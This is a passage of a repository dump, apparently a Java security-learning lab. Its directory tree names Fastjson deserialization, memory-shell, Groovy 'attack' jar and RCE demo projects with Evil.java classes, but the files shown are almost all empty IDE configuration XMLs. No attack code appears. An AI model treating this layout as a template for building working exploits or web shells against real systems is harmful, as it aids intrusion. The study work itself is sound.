├── .idea
├── .gitignore
├── LearnDemo.iml
├── artifacts
│ ├── MemShellDemo_war.xml
│ ├── MemShellDemo_war_exploded.xml
│ ├── UploadDemo_war.xml
│ └── UploadDemo_war_exploded.xml
├── compiler.xml
├── encodings.xml
├── inspectionProfiles
│ └── Project_Default.xml
├── jarRepositories.xml
├── libraries
│ ├── Maven__antlr_antlr_2_7_7.xml
│ ├── Maven__ch_qos_logback_logback_classic_1_2_7.xml
│ ├── Maven__ch_qos_logback_logback_core_1_2_7.xml
│ ├── Maven__com_alibaba_fastjson_1_2_24.xml
│ ├── Maven__com_alibaba_fastjson_1_2_83.xml
│ ├── Maven__com_beust_jcommander_1_78.xml
│ ├── Maven__com_fasterxml_classmate_1_5_1.xml
│ ├── Maven__com_fasterxml_jackson_core_jackson_annotations_2_13_0.xml
│ ├── Maven__com_fasterxml_jackson_core_jackson_core_2_13_0.xml
│ ├── Maven__com_fasterxml_jackson_core_jackson_databind_2_13_0.xml
│ ├── Maven__com_fasterxml_jackson_datatype_jackson_datatype_jdk8_2_13_0.xml
│ ├── Maven__com_fasterxml_jackson_datatype_jackson_datatype_jsr310_2_13_0.xml
│ ├── Maven__com_fasterxml_jackson_module_jackson_module_parameter_names_2_13_0.xml
│ ├── Maven__com_fasterxml_uuid_java_uuid_generator_3_1_4.xml
│ ├── Maven__com_github_javaparser_javaparser_core_3_24_2.xml
│ ├── Maven__com_h2database_h2_1_4_200.xml
│ ├── Maven__com_sun_activation_jakarta_activation_1_2_2.xml
│ ├── Maven__com_sun_istack_istack_commons_runtime_3_0_12.xml
│ ├── Maven__com_sun_mail_javax_mail_1_5_6.xml
│ ├── Maven__com_thoughtworks_qdox_qdox_1_12_1.xml
│ ├── Maven__com_zaxxer_HikariCP_4_0_3.xml
│ ├── Maven__commons_fileupload_commons_fileupload_1_3_3.xml
│ ├── Maven__commons_io_commons_io_2_2.xml
│ ├── Maven__commons_io_commons_io_2_6.xml
│ ├── Maven__de_odysseus_juel_juel_api_2_2_7.xml
│ ├── Maven__de_odysseus_juel_juel_impl_2_2_7.xml
│ ├── Maven__de_odysseus_juel_juel_spi_2_2_7.xml
│ ├── Maven__info_picocli_picocli_4_6_3.xml
│ ├── Maven__jakarta_annotation_jakarta_annotation_api_1_3_5.xml
│ ├── Maven__jakarta_persistence_jakarta_persistence_api_2_2_3.xml
│ ├── Maven__jakarta_transaction_jakarta_transaction_api_1_3_3.xml
│ ├── Maven__jakarta_xml_bind_jakarta_xml_bind_api_2_3_3.xml
│ ├── Maven__javax_activation_activation_1_1.xml
│ ├── Maven__javax_el_el_api_2_2.xml
│ ├── Maven__javax_json_javax_json_api_1_0.xml
│ ├── Maven__jline_jline_2_14_6.xml
│ ├── Maven__joda_time_joda_time_2_10_5.xml
│ ├── Maven__junit_junit_4_11.xml
│ ├── Maven__junit_junit_4_13_2.xml
│ ├── Maven__net_bytebuddy_byte_buddy_1_11_22.xml
│ ├── Maven__org_activiti_activiti_api_process_runtime_impl_7_1_0_M5.xml
│ ├── Maven__org_activiti_activiti_api_runtime_shared_impl_7_1_0_M5.xml
│ ├── Maven__org_activiti_activiti_api_task_runtime_impl_7_1_0_M5.xml
│ ├── Maven__org_activiti_activiti_bpmn_converter_7_1_0_M5.xml
│ ├── Maven__org_activiti_activiti_bpmn_model_7_1_0_M5.xml
│ ├── Maven__org_activiti_activiti_engine_7_1_0_M5.xml
│ ├── Maven__org_activiti_activiti_process_validation_7_1_0_M5.xml
│ ├── Maven__org_activiti_activiti_spring_7_1_0_M5.xml
│ ├── Maven__org_activiti_activiti_spring_app_process_7_1_0_M5.xml
│ ├── Maven__org_activiti_activiti_spring_boot_starter_7_1_0_M5.xml
│ ├── Maven__org_activiti_activiti_spring_process_extensions_7_1_0_M5.xml
│ ├── Maven__org_activiti_activiti_spring_resource_loader_7_1_0_M5.xml
│ ├── Maven__org_activiti_api_activiti_api_model_shared_7_1_0_M5.xml
│ ├── Maven__org_activiti_api_activiti_api_model_shared_impl_7_1_0_M5.xml
│ ├── Maven__org_activiti_api_activiti_api_process_model_7_1_0_M5.xml
│ ├── Maven__org_activiti_api_activiti_api_process_model_impl_7_1_0_M5.xml
│ ├── Maven__org_activiti_api_activiti_api_process_runtime_7_1_0_M5.xml
│ ├── Maven__org_activiti_api_activiti_api_runtime_shared_7_1_0_M5.xml
│ ├── Maven__org_activiti_api_activiti_api_task_model_7_1_0_M5.xml
│ ├── Maven__org_activiti_api_activiti_api_task_model_impl_7_1_0_M5.xml
│ ├── Maven__org_activiti_api_activiti_api_task_runtime_7_1_0_M5.xml
│ ├── Maven__org_activiti_core_common_activiti_common_util_7_1_0_M5.xml
│ ├── Maven__org_activiti_core_common_activiti_connector_model_7_1_0_M5.xml
│ ├── Maven__org_activiti_core_common_activiti_project_model_7_1_0_M5.xml
│ ├── Maven__org_activiti_core_common_activiti_spring_application_7_1_0_M5.xml
│ ├── Maven__org_activiti_core_common_activiti_spring_connector_7_1_0_M5.xml
│ ├── Maven__org_activiti_core_common_activiti_spring_identity_7_1_0_M5.xml
│ ├── Maven__org_activiti_core_common_activiti_spring_project_7_1_0_M5.xml
│ ├── Maven__org_activiti_core_common_activiti_spring_resource_finder_7_1_0_M5.xml
│ ├── Maven__org_activiti_core_common_activiti_spring_security_7_1_0_M5.xml
│ ├── Maven__org_activiti_core_common_activiti_spring_security_policies_7_1_0_M5.xml
│ ├── Maven__org_apache_ant_ant_1_10_12.xml
│ ├── Maven__org_apache_ant_ant_antlr_1_10_12.xml
│ ├── Maven__org_apache_ant_ant_junit_1_10_12.xml
│ ├── Maven__org_apache_ant_ant_launcher_1_10_12.xml
│ ├── Maven__org_apache_commons_commons_email_1_5.xml
│ ├── Maven__org_apache_commons_commons_lang3_3_12_0.xml
│ ├── Maven__org_apache_logging_log4j_log4j_api_2_14_1.xml
│ ├── Maven__org_apache_logging_log4j_log4j_to_slf4j_2_14_1.xml
│ ├── Maven__org_apache_tomcat_embed_tomcat_embed_core_9_0_55.xml
│ ├── Maven__org_apache_tomcat_embed_tomcat_embed_el_9_0_55.xml
│ ├── Maven__org_apache_tomcat_embed_tomcat_embed_websocket_9_0_55.xml
│ ├── Maven__org_apache_tomcat_tomcat_annotations_api_9_0_55.xml
│ ├── Maven__org_aspectj_aspectjtools_1_9_7.xml
│ ├── Maven__org_aspectj_aspectjweaver_1_9_7.xml
│ ├── Maven__org_codehaus_groovy_groovy_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_ant_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_astbuilder_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_cli_picocli_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_console_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_datetime_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_docgenerator_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_groovydoc_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_groovysh_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_jmx_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_json_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_jsr223_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_macro_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_nio_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_servlet_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_sql_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_swing_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_templates_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_test_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_test_junit5_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_testng_3_0_12.xml
│ ├── Maven__org_codehaus_groovy_groovy_xml_3_0_12.xml
│ ├── Maven__org_glassfish_jaxb_jaxb_runtime_2_3_5.xml
│ ├── Maven__org_glassfish_jaxb_txw2_2_3_5.xml
│ ├── Maven__org_hamcrest_hamcrest_core_1_3.xml
│ ├── Maven__org_hibernate_common_hibernate_commons_annotations_5_1_2_Final.xml
│ ├── Maven__org_hibernate_hibernate_core_5_6_1_Final.xml
│ ├── Maven__org_javadelight_delight_nashorn_sandbox_0_2_5.xml
│ ├── Maven__org_jboss_jandex_2_2_3_Final.xml
│ ├── Maven__org_jboss_logging_jboss_logging_3_4_2_Final.xml
│ ├── Maven__org_junit_jupiter_junit_jupiter_api_5_8_2.xml
│ ├── Maven__org_junit_jupiter_junit_jupiter_engine_5_8_2.xml
│ ├── Maven__org_junit_platform_junit_platform_commons_1_8_2.xml
│ ├── Maven__org_junit_platform_junit_platform_engine_1_8_2.xml
│ ├── Maven__org_junit_platform_junit_platform_launcher_1_8_2.xml
│ ├── Maven__org_mybatis_mybatis_3_5_0.xml
│ ├── Maven__org_opentest4j_opentest4j_1_2_0.xml
│ ├── Maven__org_projectlombok_lombok_1_18_24.xml
│ ├── Maven__org_slf4j_jcl_over_slf4j_1_7_32.xml
│ ├── Maven__org_slf4j_jul_to_slf4j_1_7_32.xml
│ ├── Maven__org_slf4j_slf4j_api_1_7_25.xml
│ ├── Maven__org_slf4j_slf4j_api_1_7_32.xml
│ ├── Maven__org_springframework_boot_spring_boot_2_6_0.xml
│ ├── Maven__org_springframework_boot_spring_boot_actuator_2_6_0.xml
│ ├── Maven__org_springframework_boot_spring_boot_actuator_autoconfigure_2_6_0.xml
│ ├── Maven__org_springframework_boot_spring_boot_autoconfigure_2_6_0.xml
│ ├── Maven__org_springframework_boot_spring_boot_starter_2_6_0.xml
│ ├── Maven__org_springframework_boot_spring_boot_starter_aop_2_6_0.xml
│ ├── Maven__org_springframework_boot_spring_boot_starter_data_jpa_2_6_0.xml
│ ├── Maven__org_springframework_boot_spring_boot_starter_jdbc_2_6_0.xml
│ ├── Maven__org_springframework_boot_spring_boot_starter_json_2_6_0.xml
│ ├── Maven__org_springframework_boot_spring_boot_starter_logging_2_6_0.xml
│ ├── Maven__org_springframework_boot_spring_boot_starter_security_2_6_0.xml
│ ├── Maven__org_springframework_boot_spring_boot_starter_tomcat_2_6_0.xml
│ ├── Maven__org_springframework_boot_spring_boot_starter_web_2_6_0.xml
│ ├── Maven__org_springframework_data_spring_data_commons_2_6_0.xml
│ ├── Maven__org_springframework_data_spring_data_jpa_2_6_0.xml
│ ├── Maven__org_springframework_security_spring_security_config_5_6_0.xml
│ ├── Maven__org_springframework_security_spring_security_core_5_6_0.xml
│ ├── Maven__org_springframework_security_spring_security_crypto_5_6_0.xml
│ ├── Maven__org_springframework_security_spring_security_web_5_6_0.xml
│ ├── Maven__org_springframework_spring_aop_5_3_13.xml
│ ├── Maven__org_springframework_spring_aspects_5_3_13.xml
│ ├── Maven__org_springframework_spring_beans_5_3_13.xml
│ ├── Maven__org_springframework_spring_context_5_3_13.xml
│ ├── Maven__org_springframework_spring_core_5_3_13.xml
│ ├── Maven__org_springframework_spring_expression_5_3_13.xml
│ ├── Maven__org_springframework_spring_jcl_5_3_13.xml
│ ├── Maven__org_springframework_spring_jdbc_5_3_13.xml
│ ├── Maven__org_springframework_spring_orm_5_3_13.xml
│ ├── Maven__org_springframework_spring_tx_5_3_13.xml
│ ├── Maven__org_springframework_spring_web_5_3_13.xml
│ ├── Maven__org_springframework_spring_webmvc_5_3_13.xml
│ ├── Maven__org_testng_testng_7_5.xml
│ ├── Maven__org_webjars_bower_js_beautify_1_9_0.xml
│ ├── Maven__org_webjars_jquery_3_5_1.xml
│ ├── Maven__org_yaml_snakeyaml_1_29.xml
│ ├── Spring_5_2_3_RELEASE.xml
│ └── lib.xml
├── misc.xml
├── modules.xml
├── uiDesigner.xml
├── vcs.xml
└── workspace.xml
├── ActivitiDemo
└── ActivitiScriptDemo
│ ├── .idea
│ ├── compiler.xml
│ ├── encodings.xml
│ ├── inspectionProfiles
│ │ └── Project_Default.xml
│ ├── jarRepositories.xml
│ ├── misc.xml
│ ├── shelf
│ │ ├── Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]
│ │ │ ├── Applicant.class
│ │ │ ├── ApplicantRepository.class
│ │ │ ├── HireProcessRestController.class
│ │ │ ├── LookUpTest.class
│ │ │ ├── MyApp.class
│ │ │ ├── ResumeService.class
│ │ │ ├── WebSecurityConfig.class
│ │ │ └── shelved.patch
│ │ └── Uncommitted_changes_before_Checkout_at_2022_5_11_20_07__Changes_.xml
│ ├── vcs.xml
│ └── workspace.xml
│ ├── ActivitiScriptDemo.iml
│ ├── pom.xml
│ ├── src
│ └── main
│ │ ├── java
│ │ └── org
│ │ │ └── activiti
│ │ │ ├── Applicant.java
│ │ │ ├── ApplicantRepository.java
│ │ │ ├── HireProcessRestController.java
│ │ │ ├── LookUpTest.java
│ │ │ ├── MyApp.java
│ │ │ ├── ResumeService.java
│ │ │ └── WebSecurityConfig.java
│ │ └── resources
│ │ ├── application.yml
│ │ └── processes
│ │ ├── Developer_Hiring_with_ServiceTask.bpmn20.xml
│ │ ├── Developer_Hiring_with_TaskListener.bpmn20.xml
│ │ ├── Developer_Hiring_with_executionListener.bpmn20.xml
│ │ ├── Developer_Hiring_with_expression.bpmn20.xml
│ │ └── Developer_Hiring_with_scriptTask.bpmn20.xml
│ └── target
│ └── classes
│ ├── application.yml
│ ├── org
│ └── activiti
│ │ ├── Applicant.class
│ │ ├── ApplicantRepository.class
│ │ ├── HireProcessRestController.class
│ │ ├── LookUpTest.class
│ │ ├── MyApp.class
│ │ ├── ResumeService.class
│ │ └── WebSecurityConfig.class
│ └── processes
│ ├── Developer_Hiring_with_ServiceTask.bpmn20.xml
│ ├── Developer_Hiring_with_TaskListener.bpmn20.xml
│ ├── Developer_Hiring_with_executionListener.bpmn20.xml
│ ├── Developer_Hiring_with_expression.bpmn20.xml
│ └── Developer_Hiring_with_scriptTask.bpmn20.xml
├── FastJson
├── FastjsonVulns-main
│ ├── .gitignore
│ ├── .idea
│ │ ├── encodings.xml
│ │ ├── misc.xml
│ │ ├── vcs.xml
│ │ └── workspace.xml
│ ├── README.md
│ ├── pom.xml
│ └── src
│ │ └── main
│ │ └── java
│ │ ├── Evil.class
│ │ ├── Evil.java
│ │ ├── Person.java
│ │ ├── TestMiscCode.java
│ │ ├── aspectj.java
│ │ ├── groovy.java
│ │ └── groovy_copy.java
├── attack
│ ├── .idea
│ │ ├── .gitignore
│ │ ├── artifacts
│ │ │ └── attack_jar.xml
│ │ ├── compiler.xml
│ │ ├── inspectionProfiles
│ │ │ └── Project_Default.xml
│ │ ├── jarRepositories.xml
│ │ └── misc.xml
│ ├── out
│ │ └── artifacts
│ │ │ └── attack_jar
│ │ │ └── attack.jar
│ ├── pom.xml
│ ├── src
│ │ └── main
│ │ │ ├── java
│ │ │ └── groovy
│ │ │ │ └── grape
│ │ │ │ └── GrabAnnotationTransformation2.java
│ │ │ └── resources
│ │ │ └── META-INF
│ │ │ └── services
│ │ │ └── org.codehaus.groovy.transform.ASTTransformation
│ └── target
│ │ ├── attack-1.jar
│ │ ├── classes
│ │ ├── META-INF
│ │ │ └── services
│ │ │ │ └── org.codehaus.groovy.transform.ASTTransformation
│ │ └── groovy
│ │ │ └── grape
│ │ │ └── GrabAnnotationTransformation2.class
│ │ ├── maven-archiver
│ │ └── pom.properties
│ │ └── maven-status
│ │ └── maven-compiler-plugin
│ │ └── compile
│ │ └── default-compile
│ │ ├── createdFiles.lst
│ │ └── inputFiles.lst
└── rce
│ └── attack.jar
├── MemShellDemo
├── MemShellDemo.iml
├── pom.xml
├── src
│ └── main
│ │ ├── java
│ │ └── com
│ │ │ └── my
│ │ │ └── test
│ │ │ ├── TestFilter.java
│ │ │ ├── TestFilter1.java
│ │ │ ├── TestHttpServelet.java
│ │ │ ├── TestListener.java
│ │ │ └── testServlet.java
│ │ └── webapp
│ │ ├── WEB-INF
│ │ └── web.xml
│ │ ├── index.jsp
│ │ ├── testFilter.jsp
│ │ └── testls.jsp
└── target
│ ├── MemShellDemo
│ ├── META-INF
│ │ └── MANIFEST.MF
│ ├── WEB-INF
│ │ ├── classes
│ │ │ └── com
│ │ │ │ └── my
│ │ │ │ └── test
│ │ │ │ ├── TestFilter.class
│ │ │ │ ├── TestFilter1.class
│ │ │ │ ├── TestHttpServelet.class
│ │ │ │ ├── TestListener.class
│ │ │ │ └── testServlet.class
│ │ ├── lib
│ │ │ ├── spring-aop-5.3.13.jar
│ │ │ ├── spring-beans-5.3.13.jar
│ │ │ ├── spring-context-5.3.13.jar
│ │ │ ├── spring-core-5.3.13.jar
│ │ │ ├── spring-expression-5.3.13.jar
│ │ │ ├── spring-jcl-5.3.13.jar
│ │ │ ├── spring-web-5.3.13.jar
│ │ │ ├── spring-webmvc-5.3.13.jar
│ │ │ ├── tomcat-annotations-api-9.0.55.jar
│ │ │ └── tomcat-embed-core-9.0.55.jar
│ │ └── web.xml
│ ├── index.jsp
│ ├── testFilter.jsp
│ └── testls.jsp
│ └── classes
│ └── com
│ └── my
│ └── test
│ ├── TestFilter.class
│ ├── TestFilter1.class
│ ├── TestHttpServelet.class
│ ├── TestListener.class
│ └── testServlet.class
├── MySerialDemo
└── MySerialDemo
│ ├── MySerialDemo.iml
│ ├── pom.xml
│ ├── src
│ └── main
│ │ └── java
│ │ ├── Evil.java
│ │ ├── MySerialDemo.java
│ │ ├── TestUser.java
│ │ ├── User.java
│ │ └── UserFastJson.java
│ └── target
│ └── classes
│ ├── Evil.class
│ ├── MySerialDemo.class
│ ├── TestUser.class
│ ├── User.class
│ └── UserFastJson.class
├── README.md
├── ReSerial
└── src
│ ├── main
│ ├── java
│ │ ├── com
│ │ │ └── example
│ │ │ │ └── reserial
│ │ │ │ ├── ReSerialApplication.java
│ │ │ │ ├── aspectjweaver.java
│ │ │ │ └── controller
│ │ │ │ └── IndexController.java
│ │ ├── test
│ │ │ ├── DNSTest.java
│ │ │ ├── Person.java
│ │ │ └── SerializableTest.java
│ │ └── transform
│ │ │ ├── MyTransformer.java
│ │ │ └── TransformerTest.java
│ └── resources
│ │ └── application.properties
│ └── test
│ └── java
│ └── com
│ └── example
│ └── reserial
│ └── ReSerialApplicationTests.java
├── ScriptEngineDemo
├── ScriptEngineDemo.iml
├── pom.xml
├── src
│ └── main
│ │ └── java
│ │ ├── FirstJavaScript.java
│ │ └── FirstJavaScriptJS.java
└── target
│ └── classes
│ ├── FirstJavaScript.class
│ └── FirstJavaScriptJS.class
├── ThymeleafDemo
├── .idea
│ ├── .gitignore
│ ├── compiler.xml
│ ├── encodings.xml
│ ├── inspectionProfiles
│ │ └── Project_Default.xml
│ ├── jarRepositories.xml
│ ├── misc.xml
│ ├── uiDesigner.xml
│ └── vcs.xml
├── pom.xml
├── src
│ └── main
│ │ ├── java
│ │ └── com
│ │ │ └── my
│ │ │ ├── DemoApplication.java
│ │ │ └── controller
│ │ │ └── IndexController.java
│ │ └── resources
│ │ ├── application.yml
│ │ └── templates
│ │ ├── hello.html
│ │ └── index.html
└── target
│ └── classes
│ ├── application.yml
│ ├── com
│ └── my
│ │ ├── DemoApplication.class
│ │ └── controller
│ │ └── IndexController.class
│ └── templates
│ ├── hello.html
│ └── index.html
├── UploadDemo
├── UploadDemo.iml
├── lib
│ ├── aopalliance-1.0.jar
│ ├── commons-logging-1.2.jar
│ ├── spring-aop-5.2.3.RELEASE.jar
│ ├── spring-aspects-5.2.3.RELEASE.jar
│ ├── spring-beans-5.2.3.RELEASE.jar
│ ├── spring-context-5.2.3.RELEASE.jar
│ ├── spring-context-support-5.2.3.RELEASE.jar
│ ├── spring-core-5.2.3.RELEASE.jar
│ ├── spring-expression-5.2.3.RELEASE.jar
│ ├── spring-instrument-5.2.3.RELEASE.jar
│ ├── spring-jdbc-5.2.3.RELEASE.jar
│ ├── spring-jms-5.2.3.RELEASE.jar
│ ├── spring-messaging-5.2.3.RELEASE.jar
│ ├── spring-orm-5.2.3.RELEASE.jar
│ ├── spring-oxm-5.2.3.RELEASE.jar
│ ├── spring-test-5.2.3.RELEASE.jar
│ └── spring-tx-5.2.3.RELEASE.jar
├── pom.xml
├── src
│ └── main
│ │ ├── java
│ │ └── com
│ │ │ └── my
│ │ │ └── upload
│ │ │ ├── crontroller
│ │ │ └── fileCrotroller.java
│ │ │ └── service
│ │ │ └── fileService.java
│ │ ├── resources
│ │ └── springmvc.xml
│ │ └── webapp
│ │ ├── WEB-INF
│ │ ├── pages
│ │ │ └── success.jsp
│ │ └── web.xml
│ │ └── index.jsp
└── target
│ ├── UploadDemo.war
│ ├── UploadDemo
│ ├── META-INF
│ │ └── MANIFEST.MF
│ ├── WEB-INF
│ │ ├── classes
│ │ │ ├── com
│ │ │ │ └── my
│ │ │ │ │ └── upload
│ │ │ │ │ ├── crontroller
│ │ │ │ │ └── fileCrotroller.class
│ │ │ │ │ └── service
│ │ │ │ │ └── fileService.class
│ │ │ └── springmvc.xml
│ │ ├── lib
│ │ │ ├── commons-fileupload-1.3.3.jar
│ │ │ ├── commons-io-2.2.jar
│ │ │ ├── spring-aop-5.3.13.jar
│ │ │ ├── spring-beans-5.3.13.jar
│ │ │ ├── spring-context-5.3.13.jar
│ │ │ ├── spring-core-5.3.13.jar
│ │ │ ├── spring-expression-5.3.13.jar
│ │ │ ├── spring-jcl-5.3.13.jar
│ │ │ ├── spring-web-5.3.13.jar
│ │ │ ├── spring-webmvc-5.3.13.jar
│ │ │ ├── tomcat-annotations-api-9.0.55.jar
│ │ │ └── tomcat-embed-core-9.0.55.jar
│ │ ├── pages
│ │ │ └── success.jsp
│ │ └── web.xml
│ └── index.jsp
│ └── classes
│ ├── com
│ └── my
│ │ └── upload
│ │ ├── crontroller
│ │ └── fileCrotroller.class
│ │ └── service
│ │ └── fileService.class
│ └── springmvc.xml
├── express
└── jexl
│ └── JxelDemo
│ ├── .idea
│ ├── .gitignore
│ ├── compiler.xml
│ ├── encodings.xml
│ ├── jarRepositories.xml
│ ├── misc.xml
│ └── vcs.xml
│ ├── pom.xml
│ ├── src
│ └── main
│ │ └── java
│ │ └── org
│ │ └── example
│ │ ├── DateUtils.java
│ │ └── Main.java
│ └── target
│ └── classes
│ └── org
│ └── example
│ ├── DateUtils.class
│ └── Main.class
├── img.png
├── img_1.png
└── img_2.png
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Editor-based HTTP Client requests
5 | /httpRequests/
6 | # Datasource local storage ignored files
7 | /dataSources/
8 | /dataSources.local.xml
9 |
--------------------------------------------------------------------------------
/.idea/LearnDemo.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/.idea/artifacts/MemShellDemo_war.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | $PROJECT_DIR$/MemShellDemo/target
4 |
5 |
6 | MemShellDemo
7 | war
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/.idea/artifacts/UploadDemo_war.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | $PROJECT_DIR$/UploadDemo/target
4 |
5 |
6 | UploadDemo
7 | war
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/.idea/encodings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/.idea/jarRepositories.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__antlr_antlr_2_7_7.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__ch_qos_logback_logback_classic_1_2_7.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__ch_qos_logback_logback_core_1_2_7.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_alibaba_fastjson_1_2_24.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_alibaba_fastjson_1_2_83.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_beust_jcommander_1_78.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_fasterxml_classmate_1_5_1.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_annotations_2_13_0.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_core_2_13_0.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_fasterxml_jackson_core_jackson_databind_2_13_0.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_fasterxml_jackson_datatype_jackson_datatype_jdk8_2_13_0.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_fasterxml_jackson_datatype_jackson_datatype_jsr310_2_13_0.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_fasterxml_jackson_module_jackson_module_parameter_names_2_13_0.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_fasterxml_uuid_java_uuid_generator_3_1_4.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_github_javaparser_javaparser_core_3_24_2.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_h2database_h2_1_4_200.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_sun_activation_jakarta_activation_1_2_2.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_sun_istack_istack_commons_runtime_3_0_12.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_sun_mail_javax_mail_1_5_6.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_thoughtworks_qdox_qdox_1_12_1.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_zaxxer_HikariCP_4_0_3.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__commons_fileupload_commons_fileupload_1_3_3.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__commons_io_commons_io_2_2.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__commons_io_commons_io_2_6.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__de_odysseus_juel_juel_api_2_2_7.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
